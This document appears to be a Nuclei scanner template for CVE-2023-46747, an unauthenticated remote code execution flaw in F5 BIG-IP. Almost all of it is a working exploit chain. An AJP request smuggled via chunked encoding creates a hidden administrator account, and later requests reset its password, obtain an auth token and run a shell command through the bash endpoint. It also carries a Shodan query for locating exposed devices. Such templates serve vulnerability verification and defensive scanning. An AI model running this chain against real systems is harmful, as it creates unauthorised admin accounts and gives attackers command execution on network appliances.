id: CVE-2023-46747 info: name: F5 BIG-IP - Unauthenticated RCE via AJP Smuggling author: iamnoooob,rootxharsh,pdresearch severity: critical description: | CVE-2023-46747 is a critical severity authentication bypass vulnerability in F5 BIG-IP that could allow an unauthenticated attacker to achieve remote code execution (RCE). The vulnerability impacts the BIG-IP Configuration utility, also known as the TMUI, wherein arbitrary requests can bypass authentication. The vulnerability received a CVSSv3 score of 9.8. reference: - https://www.praetorian.com/blog/refresh-compromising-f5-big-ip-with-request-smuggling-cve-2023-46747/ - https://my.f5.com/manage/s/article/K000137353 - http://packetstormsecurity.com/files/175673/F5-BIG-IP-TMUI-AJP-Smuggling-Remote-Command-Execution.html - https://www.secpod.com/blog/f5-issues-warning-big-ip-vulnerability-used-in-active-exploit-chain/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-46747 cwe-id: CWE-288 epss-score: 0.96553 epss-percentile: 0.99507 cpe: cpe:2.3:a:f5:big-ip_access_policy_manager:*:*:*:*:*:*:*:* metadata: verified: true max-request: 7 vendor: f5 product: big-ip_access_policy_manager shodan-query: http.title:"BIG-IP®-+Redirect" +"Server" tags: packetstorm,cve,cve2023,rce,f5,bigip,unauth,ajp,smuggling,intrusive,kev variables: username: "{{hex_encode(rand_base(5))}}" password: "{{hex_encode(rand_base(12))}}" password2: "{{rand_base(14)}}" http: - raw: - |+ POST /tmui/login.jsp HTTP/1.1 Host: {{Hostname}} Transfer-Encoding: chunked, chunked Content-Type: application/x-www-form-urlencoded 204 {{ hex_decode(concat("0008485454502f312e310000122f746d75692f436f6e74726f6c2f666f726d0000093132372e302e302e310000096c6f63616c686f73740000096c6f63616c686f7374000050000003000b546d75692d44756262756600000b424242424242424242424200000a52454d4f5445524f4c450000013000a00b00096c6f63616c686f73740003000561646d696e000501715f74696d656e6f773d61265f74696d656e6f775f6265666f72653d2668616e646c65723d253266746d756925326673797374656d25326675736572253266637265617465262626666f726d5f706167653d253266746d756925326673797374656d253266757365722532666372656174652e6a737025336626666f726d5f706167655f6265666f72653d26686964654f626a4c6973743d265f62756676616c75653d65494c3452556e537758596f5055494f47634f4678326f30305863253364265f62756676616c75655f6265666f72653d2673797374656d757365722d68696464656e3d5b5b2241646d696e6973747261746f72222c225b416c6c5d225d5d2673797374656d757365722d68696464656e5f6265666f72653d266e616d653d",username,"266e616d655f6265666f72653d267061737377643d",password,"267061737377645f6265666f72653d2666696e69736865643d782666696e69736865645f6265666f72653d00ff00")) }} 0 unsafe: true - raw: - |+ PATCH /mgmt/tm/auth/user/{{hex_decode(username)}} HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(hex_decode(username)+":"+hex_decode(password))}} Content-Type: application/json {"password": "{{password2}}"} - |+ POST /mgmt/shared/authn/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"username":"{{hex_decode(username)}}", "password":"{{pass}}"} - |+ POST /mgmt/tm/util/bash HTTP/1.1 Host: {{Hostname}} X-F5-Auth-Token: {{token}} Content-Type: application/json {"command":"run","utilCmdArgs":"-c id"} payloads: pass: - '{{password2}}' - '{{hex_decode(password)}}' skip-variables-check: true stop-at-first-match: true extractors: - type: regex part: body_2 name: token group: 1 regex: - "([A-Z0-9]{26})" internal: true - type: regex part: body_3 group: 1 regex: - "\"commandResult\":\"(.*)\"" - type: dsl dsl: - '"Username:" + hex_decode(username)' - '"Password:" + pass' - '"Token:" + token' matchers: - type: word words: - "commandResult" - "uid=" condition: and # digest: 490a0046304402206c56f965491e712abb0ce770ad2d0b7a69ed9fafd74d460ba97df45c0f70bea00220234f6fe02a9ff688c8ca4135cb51d2da512b10c9095820b4231a899dbad516d2:922c64590222798bb761d5b6d8e72950